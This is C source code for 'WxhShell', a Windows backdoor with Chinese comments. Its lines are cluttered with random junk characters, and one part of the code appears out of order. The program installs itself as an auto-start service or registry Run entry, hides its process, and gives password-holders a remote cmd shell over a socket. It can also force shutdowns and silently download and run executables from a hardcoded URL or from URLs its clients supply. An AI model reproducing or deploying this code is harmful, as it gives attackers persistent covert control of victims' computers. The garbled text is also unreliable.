  case 'd': { Q!2iOvK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JPTI6"/  
    if(Boot(SHUTDOWN)) [cTRz*\s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .t^UK#@#4  
    else { L4/TI(MP  
    closesocket(wsh); F3Ak'h{Ay  
    ExitThread(0); */5<L99v  
    } fdq^!MWTi  
    break; 6PQJgki  
    } {sfmWVp  
  // 获取shell =4M.QA@lI!  
  case 's': { TH(Lzrbg  
    CmdShell(wsh); Ky '3z"  
    closesocket(wsh); THbtu*El  
    ExitThread(0); 32bkouq  
    break; ReB(T7Vk=  
  } 4Fr7jD,#k  
  // 退出 gGI#QPT`X  
  case 'x': { .y;\puNq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L`HH);Ozw  
    CloseIt(wsh); BudWbZ5>Ep  
    break; we H@S  
    } cpF1XpvT  
  // 离开 -|k&L}\OB0  
  case 'q': { HV$9b~(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1 ~B<  
    closesocket(wsh); =UB*xm%!  
    WSACleanup(); FUzMc1zy|  
    exit(1); %g]$Vfpy  
    break; ?LV-W  
        } _/N'I7g  
  } 0x>/6 <<  
  } V$-~%7@>;9  
1|l)gfcP  
  // 提示信息 VT5cxB<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <>T&ab@dE(  
} x#:BE  
  } M~ i+F0  
Q2[prrk%j  
  return; Hlt8al3  
} 4(Cd  
B \_d5WJ<  
// shell模块句柄 Hn#GS9d_?  
int CmdShell(SOCKET sock) "J8;4p  
{ ;Txv -lfS  
STARTUPINFO si; _\4`  
ZeroMemory(&si,sizeof(si)); D8@n kSP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x:A-p..e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XoKO2<3  
PROCESS_INFORMATION ProcessInfo; )D Gz`->  
char cmdline[]="cmd"; k"q!|+&Fs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :~ZqB\>i  
  return 0; eC+"mhB  
} jsNH`"  
=.qm8+  
// 自身启动模式 $KwI}>E4  
int StartFromService(void) w PG1P'w;  
{ LL= Z$U $  
typedef struct ?u_gXz;A  
{ #K :-Bys5v  
  DWORD ExitStatus; F}6DB*  
  DWORD PebBaseAddress; wDT>">&d  
  DWORD AffinityMask; N"Qg\PS_  
  DWORD BasePriority; tT@w%Sz57N  
  ULONG UniqueProcessId; MG7 ?N #  
  ULONG InheritedFromUniqueProcessId; <fC@KY>#  
}   PROCESS_BASIC_INFORMATION; S' (cqO}=F  
@)W(q5)}9"  
PROCNTQSIP NtQueryInformationProcess; E-yT  
O6m.t%*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L25kh}Q#7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `1E|PQbWc  
:mXGIRi  
  HANDLE             hProcess; bH\'uaJ  
  PROCESS_BASIC_INFORMATION pbi; N|!MO{sB  
biK)&6|`sa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;ZQ- uz  
  if(NULL == hInst ) return 0; W>5vRwx00  
,hpH!J'5f/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e2]4a3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h`wMi}q'D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 54q4CagFq  
c;:">NR  
  if (!NtQueryInformationProcess) return 0; \)OZUch  
u*t,i`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NJ;"jQ-  
  if(!hProcess) return 0; 8 uDerJ!  
B ~fSMB6h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; csH2_+uG  
?muDTD%c  
  CloseHandle(hProcess); di6B!YQP  
Awu$g.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q"gqO%Wb|  
if(hProcess==NULL) return 0; qP~WEcH`[  
,?l~rc  
HMODULE hMod; _j:UGMTi(U  
char procName[255]; ;{<aA 5  
unsigned long cbNeeded; V]I:2k5  
?PBa'g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QGs1zfh*  
T>}0) s  
  CloseHandle(hProcess); Bk?8 zYp  
T n"e   
if(strstr(procName,"services")) return 1; // 以服务启动 ,:D=gQ@`  
a}:A,t<6  
  return 0; // 注册表启动 si_W:mLF{a  
} c |>=S)|  
21r= = H$  
// 主模块 T vrk^!  
int StartWxhshell(LPSTR lpCmdLine) (GCG/8s  
{ Iz DG&c  
  SOCKET wsl; ?Bo?JMV  
BOOL val=TRUE; #SKfE  
  int port=0; !Y ( apVQ  
  struct sockaddr_in door; 9ky7r;?  
;{|X,;s  
  if(wscfg.ws_autoins) Install(); >^a$  
YEzU{J  
port=atoi(lpCmdLine); 6cJ<9i &  
` ^DjEdUN  
if(port<=0) port=wscfg.ws_port; rwiw Rh  
`E@kFJ(<On  
  WSADATA data; 8wr8:( Y$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \gLxC  
k`Nyi )AGe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lC0~c=?J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q"40#RFA  
  door.sin_family = AF_INET; O~V1Ywfq7^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A (Bk@;  
  door.sin_port = htons(port); {m[s<A(  
'"y}#h__T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yc^%zxub  
closesocket(wsl); ?hnx/z+uT  
return 1; !O|ql6^;  
} ebqg"tPN{  
X0`j-*,FX  
  if(listen(wsl,2) == INVALID_SOCKET) { m6^ 5S  
closesocket(wsl); lsk_P&M  
return 1; bmu6@jT  
} "e 1wr  
  Wxhshell(wsl); *h$&0w y  
  WSACleanup(); -."kq.m*  
#ZJMlJ:q`"  
return 0; ( #* "c  
Ly;I,)w  
} i}v9ut]B  
W{  fZ[z  
// 以NT服务方式启动 @}Zd (o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gqb])gXpl  
{ ]4`t\YaT  
DWORD   status = 0; ;B~P>n}}_]  
  DWORD   specificError = 0xfffffff; .u l 53 m  
+Mk#9 r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]jyM@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @Br {!#Wf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u:@U $:sZ  
  serviceStatus.dwWin32ExitCode     = 0; Y25^]ON*\^  
  serviceStatus.dwServiceSpecificExitCode = 0; #02Kdo&Vy  
  serviceStatus.dwCheckPoint       = 0; Zb(E:~h\  
  serviceStatus.dwWaitHint       = 0; AEY$@!8  
[$pmPr2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #E DEYEW7  
  if (hServiceStatusHandle==0) return; 9Hd;35 3Q  
!;S"&mcPDJ  
status = GetLastError(); .[?BlIlm  
  if (status!=NO_ERROR) R_^/,^1  
{ 0"78/6XIs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yhpz5[AuO  
    serviceStatus.dwCheckPoint       = 0; rEdY>\'  
    serviceStatus.dwWaitHint       = 0; `9Yn0B.  
    serviceStatus.dwWin32ExitCode     = status; (luKn&826  
    serviceStatus.dwServiceSpecificExitCode = specificError; !nd*W"_gQ/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Y}uZ'jt'  
    return; 7{e=="#*  
  } qj!eLA-aD  
WNs}sNSf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7\ypW$Ot  
  serviceStatus.dwCheckPoint       = 0; PY`L$e  
  serviceStatus.dwWaitHint       = 0; 1svi8wh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9xFO]Y"  
} Pao%pA.<  
KVkMU?6  
// 处理NT服务事件,比如:启动、停止 PFM' & ;V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }XR : 2  
{ .m;G$X|3U  
switch(fdwControl) pXu/(&?  
{ 2#vv$YD  
case SERVICE_CONTROL_STOP: =wG+Ao  
  serviceStatus.dwWin32ExitCode = 0; <P_ea/5:|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~=En +J}*  
  serviceStatus.dwCheckPoint   = 0; bl;zR  
  serviceStatus.dwWaitHint     = 0; V5mlJml2(  
  { e$e#NoN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ";x+1R.d  
  } tnz+bX26  
  return; Ub_4yN;  
case SERVICE_CONTROL_PAUSE: yHeEobvb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4nqoZk^R  
  break; w8Vw1wW  
case SERVICE_CONTROL_CONTINUE: bc I']WgB-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hp Vjee  
  break; D\1k.tI  
case SERVICE_CONTROL_INTERROGATE: kL>d"w  
  break; @F~LW6K  
}; x;LzG t:w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?+0GfIV  
} At6qtoPRA  
1[;;sSp  
// 标准应用程序主函数 usFfMF X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F%d \~Vj  
{ VsK>6S\T  
80pid[F  
// 获取操作系统版本 C3'rtY.  
OsIsNt=GetOsVer(); R@iUCT^$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XL$* _c <)  
O(z}H}Fv  
  // 从命令行安装 cXnKCzSxZq  
  if(strpbrk(lpCmdLine,"iI")) Install(); #!2k<Q*5uT  
G8Z4J7^  
  // 下载执行文件 i3VW1~.8  
if(wscfg.ws_downexe) { S'LZk9E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *\uM.m0$  
  WinExec(wscfg.ws_filenam,SW_HIDE); K_/zuTy  
} EW<kI+0D  
ObG|o1b  
if(!OsIsNt) { A"v{~  
// 如果时win9x,隐藏进程并且设置为注册表启动  Q=uRKh  
HideProc(); T?Fcohz(  
StartWxhshell(lpCmdLine); g(C|!}ex/  
} ln!'_\{  
else crcA\lJf  
  if(StartFromService()) (u3s"I d  
  // 以服务方式启动 "2?l{4T\  
  StartServiceCtrlDispatcher(DispatchTable); 23!;}zHp  
else j;1-p>z  
  // 普通方式启动 hm*cw[#O1x  
  StartWxhshell(lpCmdLine); 1oLv.L  
D*PYr{z'  
return 0; O81X ;JdP3  
} .7NNT18  
o Y}]UB>  
DZS]AC*  
~EzaC?fQ  
=========================================== G oM ip8'u  
!y:%0{l  
@|}BXQNd  
|RkcDrB~  
Q/ms]Du  
N6OMY P1  
" /93l74.w  
wC_l@7 t  
#include <stdio.h> epHJ@W@#  
#include <string.h> ulFzZHJ  
#include <windows.h> +!IQj0&'Y3  
#include <winsock2.h> @Ky> 9m{  
#include <winsvc.h> '*^yAlgtt  
#include <urlmon.h> /iC;%r1L  
v1JS~uDz  
#pragma comment (lib, "Ws2_32.lib") 7dG 79H  
#pragma comment (lib, "urlmon.lib") *OJ/V O  
H5CR'Rp  
#define MAX_USER   100 // 最大客户端连接数 Kv'n:z7Md  
#define BUF_SOCK   200 // sock buffer WtulTAfN  
#define KEY_BUFF   255 // 输入 buffer [#Lc]$  
#11NPo9  
#define REBOOT     0   // 重启 Uxfl_@lJ  
#define SHUTDOWN   1   // 关机 57a2^  
D4Al3fe  
#define DEF_PORT   5000 // 监听端口 `;|5  
^9OUzTF  
#define REG_LEN     16   // 注册表键长度 >_dx_<75&  
#define SVC_LEN     80   // NT服务名长度 "xmP6=1  
g"s$}5{8:  
// 从dll定义API ,#FLM`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9E2j!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); acP+3u?r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aprm0:Q^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Zn=T#o  
?bZovRx  
// wxhshell配置信息 \!vN   
struct WSCFG { gWABY%!}  
  int ws_port;         // 监听端口 v~3B:k:?l  
  char ws_passstr[REG_LEN]; // 口令 3f " %G\  
  int ws_autoins;       // 安装标记, 1=yes 0=no v2r&('pV  
  char ws_regname[REG_LEN]; // 注册表键名 UJfT!==U  
  char ws_svcname[REG_LEN]; // 服务名 >d"3<S ; b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n\Fp[9+Z\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &AVpLf:?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {t"+ 3zy'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wbDM5%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FLg*R/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )#|<w9uec  
D(p\0V  
}; ^, l_{  
?Xdak|?i  
// default Wxhshell configuration )VL96did  
struct WSCFG wscfg={DEF_PORT, !Fo*e  
    "xuhuanlingzhe", M.-"U+#aD  
    1, <IW#ME  
    "Wxhshell", Djk C  
    "Wxhshell", Uz cx6sw  
            "WxhShell Service", 2%*MW"Q  
    "Wrsky Windows CmdShell Service", ] Z8Vj7~  
    "Please Input Your Password: ", b2 _Yu^  
  1, t?o ,RN:  
  "http://www.wrsky.com/wxhshell.exe", b|Q)[y]  
  "Wxhshell.exe" QB.J,o*XD4  
    }; CQel3Jtt.  
du$|lxC  
// 消息定义模块 mk7&<M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RLlU" sw+{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |qZko[W}=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b'MSkEiQG  
char *msg_ws_ext="\n\rExit."; Wg{k$T_>  
char *msg_ws_end="\n\rQuit."; L %ip>  
char *msg_ws_boot="\n\rReboot..."; ReiB $y6  
char *msg_ws_poff="\n\rShutdown..."; 26X+ }^52  
char *msg_ws_down="\n\rSave to "; m)V/L]4  
f\'{3I29  
char *msg_ws_err="\n\rErr!"; !O\;Nua  
char *msg_ws_ok="\n\rOK!"; (feTk72XX  
'$4O!YI9@  
char ExeFile[MAX_PATH]; e%8|<g+n6  
int nUser = 0; DD" $1o"  
HANDLE handles[MAX_USER]; 1/p*tZP8i  
int OsIsNt; {G <kA(Lm  
QL6C,#6  
SERVICE_STATUS       serviceStatus; Kp+CH7I*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rqwzh@}  
,q(&)L$S  
// 函数声明 =@TQ>Qw%b  
int Install(void); #r PP*  
int Uninstall(void); 7+x? " 4  
int DownloadFile(char *sURL, SOCKET wsh); ^pM+A6 XY  
int Boot(int flag); +<,gB $j  
void HideProc(void); NmMIQ@K  
int GetOsVer(void); ;8!Z5H  
int Wxhshell(SOCKET wsl); %uv?we7  
void TalkWithClient(void *cs); VG/3xR&y  
int CmdShell(SOCKET sock); G:x*BH+  
int StartFromService(void); yj4+5`|f  
int StartWxhshell(LPSTR lpCmdLine); *yl>T^DjTC  
hOhS)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *6xgctk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cA6lge<{~  
XeBP`\>Ve  
// 数据结构和表定义 .>z][2oz  
SERVICE_TABLE_ENTRY DispatchTable[] = eIl]oC7*  
{ xBu1Ak8w  
{wscfg.ws_svcname, NTServiceMain}, 5[j`6l  
{NULL, NULL} T~h5B(J;  
}; "c}@V*cO<d  
5*[2yKsTi  
// 自我安装 7ugZE93!  
int Install(void) O;7)Hjwt  
{ f|u#2!7  
  char svExeFile[MAX_PATH]; 7JSNYTH  
  HKEY key; =^ T\Xs;GK  
  strcpy(svExeFile,ExeFile); NEa>\K<\  
r>bJ%M}  
// 如果是win9x系统,修改注册表设为自启动 N'xSG`,Mg  
if(!OsIsNt) { (E]!Z vE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /?'; nGq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'zh7_%  
  RegCloseKey(key); NBb6T V}j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <F11m(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r>GZ58i  
  RegCloseKey(key); #+$Q+Z|6k  
  return 0; v&Kqq!DE  
    } !mXxAo  
  } }w4QP+ x  
} \M'-O YH_[  
else { j5@:a  
K'#E3={tt  
// 如果是NT以上系统,安装为系统服务  +H$!a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =IAsH85Q  
if (schSCManager!=0) qY 4#V k  
{ $=?@*p  
  SC_HANDLE schService = CreateService [pVamE  
  ( RCRpzY+@  
  schSCManager, ja=F7Usb  
  wscfg.ws_svcname, 1~ $);US  
  wscfg.ws_svcdisp, d#2$!z#  
  SERVICE_ALL_ACCESS, ')GSAY7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .f+TZDUO  
  SERVICE_AUTO_START, )E+'*e{cK  
  SERVICE_ERROR_NORMAL, ePIiF_X  
  svExeFile, _=|vgc  
  NULL, l7De6A"  
  NULL, Fd*8N8Pi  
  NULL, M:5b4$Qh<  
  NULL, C* nB  
  NULL A<;SnXm  
  ); %kgkXc~6|x  
  if (schService!=0) J*9$;  
  { bTQNb!&  
  CloseServiceHandle(schService); Ytgj|@jsp  
  CloseServiceHandle(schSCManager); aZbw]0q@o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l3 DYg  
  strcat(svExeFile,wscfg.ws_svcname); 1#1 riM -  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u+{a8=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NY?;erX  
  RegCloseKey(key); RoAlf+&Qb  
  return 0; O#Wh TDF"  
    } i*CZV|t US  
  } ?.Pg\ur  
  CloseServiceHandle(schSCManager); =/\:>+p^.y  
} QNDHOo>v  
} Hr$QLtr  
"Ky; a?Y  
return 1; h,"4SSL  
} ^eoLAL  
s=[h?kB  
// 自我卸载 ,!U=|c"k)  
int Uninstall(void) &IlU|4`R%  
{ `Qeg   
  HKEY key; VE8;sGaJ  
0@AAulRl  
if(!OsIsNt) { `=7j$#6U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;j2vHU#q-  
  RegDeleteValue(key,wscfg.ws_regname); NzNA>[$[  
  RegCloseKey(key); aN(|'uO@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p uT'y  
  RegDeleteValue(key,wscfg.ws_regname); 8mQmi`  
  RegCloseKey(key); 6]-SK$  
  return 0; ur$l Z0  
  } [|l?2j\  
} r;m)nRu  
} f|sFlUu&  
else { <I"S#M7-s  
a@R]X5[O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xZV1k~C  
if (schSCManager!=0) u_rdmyq$x/  
{ _SA5e3#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cp o-.  
  if (schService!=0) U)3DQ6T99  
  { fNrgdfo  
  if(DeleteService(schService)!=0) { NssELMtF!g  
  CloseServiceHandle(schService); ;D$)P7k6  
  CloseServiceHandle(schSCManager); _2N$LLbg  
  return 0; D1 &A,2wO  
  } <\;#jF%V  
  CloseServiceHandle(schService); KgR<E  
  } 8n>9;D5n  
  CloseServiceHandle(schSCManager); im @h -A]0  
} L QjsOo  
} yBI'djL~>  
T*KMksjxm`  
return 1; 7k8pZ  
} JY6 Q p  
XU"~h64]  
// 从指定url下载文件 {GJ@psG*  
int DownloadFile(char *sURL, SOCKET wsh) k?'B*L_Mzv  
{ ."FuwKSJCo  
  HRESULT hr; `hb%+-lj+  
char seps[]= "/"; D::rGB?.b  
char *token; G\(|N9^:  
char *file; 8(* [Fe9  
char myURL[MAX_PATH]; p}cw{  
char myFILE[MAX_PATH]; y '!m4-  
.?l\g-;=  
strcpy(myURL,sURL); :>=\.\  
  token=strtok(myURL,seps); *BR^U$,e  
  while(token!=NULL) 71\xCSI1w&  
  { =%/)m:f!^  
    file=token; YIjTL!bA"  
  token=strtok(NULL,seps); nvPwngEQm  
  } q`r**N+zn  
Dtj&W<NXo  
GetCurrentDirectory(MAX_PATH,myFILE); AA7C$;Z15~  
strcat(myFILE, "\\"); pa# IJ  
strcat(myFILE, file); s;A@*Y;v  
  send(wsh,myFILE,strlen(myFILE),0); Sy 'Dp9!|  
send(wsh,"...",3,0); o>VVsH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G["c\Xux  
  if(hr==S_OK) w`5xrqt@  
return 0; Ih"XV  
else cCxBzkH6  
return 1; @mfEKU!  
ynrT a..  
} ^U!0-y  
}I>tO9M  
// 系统电源模块 LEtG|3Dx  
int Boot(int flag) k`N^Vdr  
{ 5s]. @C8  
  HANDLE hToken; 9th,VnD0  
  TOKEN_PRIVILEGES tkp; r >nG@A  
gN"7be&J  
  if(OsIsNt) { .p(T^ m2A*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); is-7 j7;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *I0T{~  
    tkp.PrivilegeCount = 1; Z+=@<i''  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5@BBo eG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {lc\,F*$  
if(flag==REBOOT) {  \*<d{gZ~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &oX>* 6L  
  return 0; ^cuc.g)c$?  
} d}4Y(   
else { ZEx}$<)_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \7'+h5a  
  return 0; 0ik7v<:  
} 9_5ow  
  } |/)${*a4n  
  else { :n-]>Q>5=k  
if(flag==REBOOT) { s ']Bx=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $A-J,_:T<  
  return 0; IqoR7ajA  
} 5wDg'X]>V  
else { XD2v*l|Po  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Kuu *&u  
  return 0; AQwdw>I-FX  
} $F5 b  
} w}YlVete  
Nb'''W-iu  
return 1; V]db'qB\  
} VB*oGG  
2V#>)R#k  
// win9x进程隐藏模块 R)m'lMi|  
void HideProc(void) \r+8qC[,  
{ +O?KNZ  
7](KV"%V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fd.^h*'mU  
  if ( hKernel != NULL ) ]%u@TK7  
  { K42K!8$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mrF58Uq;A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XMu9Uk{|  
    FreeLibrary(hKernel); ?m\t| /0Q  
  } aq@8"b(.  
'?p<lu^^B  
return; XLrwxj0  
} yL-YzF2  
G\+L~t  
// 获取操作系统版本 y#z  
int GetOsVer(void) m0a?LY  
{ (bH`x]h#  
  OSVERSIONINFO winfo; gq'Y!BBQy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #ZrHsf P  
  GetVersionEx(&winfo); ) iN/ua  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kZGRxp9  
  return 1; Tq[kl'_  
  else 0i\M,TNf*  
  return 0; -^hWM}F  
} EZ`te0[  
BdH-9n~,  
// 客户端句柄模块 3!|;iJRH  
int Wxhshell(SOCKET wsl) hFy;ffs.  
{ DrY:9[LP  
  SOCKET wsh; ]Hefm?9*^  
  struct sockaddr_in client; j~jV'f.:H  
  DWORD myID; =*c7i]@}  
.7avpOfz  
  while(nUser<MAX_USER) >8#X;0\Kj  
{ f\sQO&  
  int nSize=sizeof(client); Ssou  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dQA'($  
  if(wsh==INVALID_SOCKET) return 1; 9CWezI+  
)9"_J9G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `n @*{J8  
if(handles[nUser]==0) 6"J? #  
  closesocket(wsh); q!u~jI9 j  
else n%o5kVx0  
  nUser++; >\P@^ h]  
  } p;3O#n-_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %,@e^3B  
"AsKlKz{B  
  return 0; # Oc] @  
} j2StXq3  
keX,d#  
// 关闭 socket 2j}\3Pi  
void CloseIt(SOCKET wsh) yy i#Mo ,  
{ _M`--.{\O[  
closesocket(wsh); F`XP@Xx  
nUser--; IID-k  
ExitThread(0); v,-HU&/*B  
} 1AM!8VR2  
$!-c-0ub  
// 客户端请求句柄 R6kD=JY/!  
void TalkWithClient(void *cs) r")`Ph@yp  
{ "!ug_'VW  
( u\._Gwsx  
  SOCKET wsh=(SOCKET)cs; %In A+5s`  
  char pwd[SVC_LEN]; c4^ks&)'  
  char cmd[KEY_BUFF]; g"p%C:NN  
char chr[1]; 4~Vx3gEV:  
int i,j; i]YV {  
%,}A@H ,  
  while (nUser < MAX_USER) { 8QLj["   
pz\ +U7  
if(wscfg.ws_passstr) { IoQEtA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j7$e28|_n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !sQY&*  
  //ZeroMemory(pwd,KEY_BUFF); ZojI R\F^  
      i=0; ff,pvk8N5  
  while(i<SVC_LEN) { _VRpI)mu  
Vt %bI0#  
  // 设置超时 5HkKurab  
  fd_set FdRead; 0ghGBuv1s  
  struct timeval TimeOut; }Qn&^[[miL  
  FD_ZERO(&FdRead); Dwr)0nk  
  FD_SET(wsh,&FdRead); F;4vPbH+  
  TimeOut.tv_sec=8; M"p  
  TimeOut.tv_usec=0; ;=eDO(Ij  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dJeNbVd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~J wb`g.  
RKHyw 08  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &5fJPv &  
  pwd=chr[0]; c'>/  
  if(chr[0]==0xd || chr[0]==0xa) { f_jo+z{-ik  
  pwd=0; >z{d0{\  
  break; PV'x+bN5  
  } 4sF"6+%5d  
  i++; 5cL83FQh  
    } 1 d}Z(My  
p*4':TFuD;  
  // 如果是非法用户,关闭 socket H]{v;;'~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C*)3e*T*  
} GP!?^r:en  
^84G%)`&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rb5~XnJk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \o}xF@sM5  
, pDnRRJ!  
while(1) { %p^wZtm  
8=B|C'>  
  ZeroMemory(cmd,KEY_BUFF); M -cTRd-i  
`w#Oih!6A|  
      // 自动支持客户端 telnet标准   v5!d$Vctu  
  j=0; 2&:f&"  
  while(j<KEY_BUFF) { $+8cc\fq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pk{_(ybaY  
  cmd[j]=chr[0]; =9y[1t  
  if(chr[0]==0xa || chr[0]==0xd) { ?26I,:;  
  cmd[j]=0; A!s`[2 Z  
  break; jSh5!6O  
  } 2,$8icM  
  j++; Cc+t}"^  
    } l2zFKCGF(  
@Owb?(6?  
  // 下载文件 cs,N <|  
  if(strstr(cmd,"http://")) { +%zAQeb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7 E r23Q  
  if(DownloadFile(cmd,wsh)) V+* P2|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q8X feoUV  
  else ]fx"4qKM  
